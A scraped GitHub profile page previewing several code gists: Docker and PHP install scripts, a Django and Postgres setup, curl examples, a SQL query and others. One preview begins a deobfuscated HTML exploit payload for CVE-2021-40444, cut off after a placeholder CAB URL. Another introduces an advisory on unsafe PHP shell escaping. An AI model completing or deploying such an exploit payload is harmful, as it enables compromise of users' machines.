Skip to content

Instantly share code, notes, and snippets.

View KalanaPerera's full-sized avatar
🤟
born to code

Kalana Perera KalanaPerera

🤟
born to code
  • Sri Lanka / Singapore
View GitHub Profile
@D4stiny
D4stiny / cve202140444_deobfuscated.html
Created January 7, 2022 09:13
Deobfuscated HTML payload used in CVE-2021-40444 payload
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Expires" content="-1">
<meta http-equiv="X-UA-Compatible" content="IE=11">
</head>
<body>
<script>
var exploit_cab = "[CAB file URL]";
@npearce
npearce / install-docker.md
Last active May 9, 2024 09:55
Amazon Linux 2 - install docker & docker-compose using 'sudo amazon-linux-extras' command

UPDATE (March 2020, thanks @ic): I don't know the exact AMI version but yum install docker now works on the latest Amazon Linux 2. The instructions below may still be relevant depending on the vintage AMI you are using.

Amazon changed the install in Linux 2. One no-longer using 'yum' See: https://aws.amazon.com/amazon-linux-2/release-notes/

Docker CE Install

sudo amazon-linux-extras install docker
sudo service docker start
@eyecatchup
eyecatchup / update-to-php5.6-on-ubuntu-14.04.sh
Created April 4, 2017 08:22
Update PHP 5.x to PHP 5.6 on Ubuntu 14.04
#!/bin/sh
# In case df shows >90% for /boot run:
#sudo apt-get autoremove
# Add repository
sudo add-apt-repository ppa:ondrej/php
# Install required packages
sudo apt-get update
sudo apt-get update
sudo apt-get install python3-pip python3-dev libpq-dev postgresql postgresql-contrib nginx
sudo -u postgres psql
- paste this code in postgres console:
CREATE DATABASE django_project;
CREATE USER username WITH PASSWORD 'pass1234';
ALTER ROLE username SET client_encoding TO 'utf8';
ALTER ROLE username SET default_transaction_isolation TO 'read committed';
@Zenexer
Zenexer / escapeshellrce.md
Last active November 2, 2023 06:09
Security Advisory: PHP's escapeshellcmd and escapeshellarg are insecure

Paul Buonopane paul@namepros.com at NamePros
PGP: https://keybase.io/zenexer

I'm working on cleaning up this advisory so that it's more informative at a glance. Suggestions are welcome.

This advisory addresses the underlying PHP vulnerabilities behind Dawid Golunski's [CVE-2016-10033][CVE-2016-10033], [CVE-2016-10045][CVE-2016-10045], and [CVE-2016-10074][CVE-2016-10074]. It assumes prior understanding of these vulnerabilities.

This advisory does not yet have associated CVE identifiers.

Summary

@0xjac
0xjac / private_fork.md
Last active May 9, 2024 09:46
Create a private fork of a public repository

The repository for the assignment is public and Github does not allow the creation of private forks for public repositories.

The correct way of creating a private frok by duplicating the repo is documented here.

For this assignment the commands are:

  1. Create a bare clone of the repository. (This is temporary and will be removed so just do it wherever.)

git clone --bare git@github.com:usi-systems/easytrace.git

@subfuzion
subfuzion / curl.md
Last active May 9, 2024 12:12
curl POST examples

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

@wellwind
wellwind / 1.draggable-modal.js
Last active March 31, 2024 08:12
Draggable Bootstrap Modal
$('.modal.draggable>.modal-dialog').draggable({
cursor: 'move',
handle: '.modal-header'
});
$('.modal.draggable>.modal-dialog>.modal-content>.modal-header').css('cursor', 'move');
SET
@orig_latitude = 32.867073,
@orig_longitude = -96.769410,
@radius = 10
;
SELECT *
FROM (
SELECT
`geonameid`, `name`,
/**
* Retrieves all the rows in the active spreadsheet that contain data and logs the
* values for each row.
* For more information on using the Spreadsheet API, see
* https://developers.google.com/apps-script/service_spreadsheet
*/
function readRows() {
var sheet = SpreadsheetApp.getActiveSheet();
var rows = sheet.getDataRange();
var numRows = rows.getNumRows();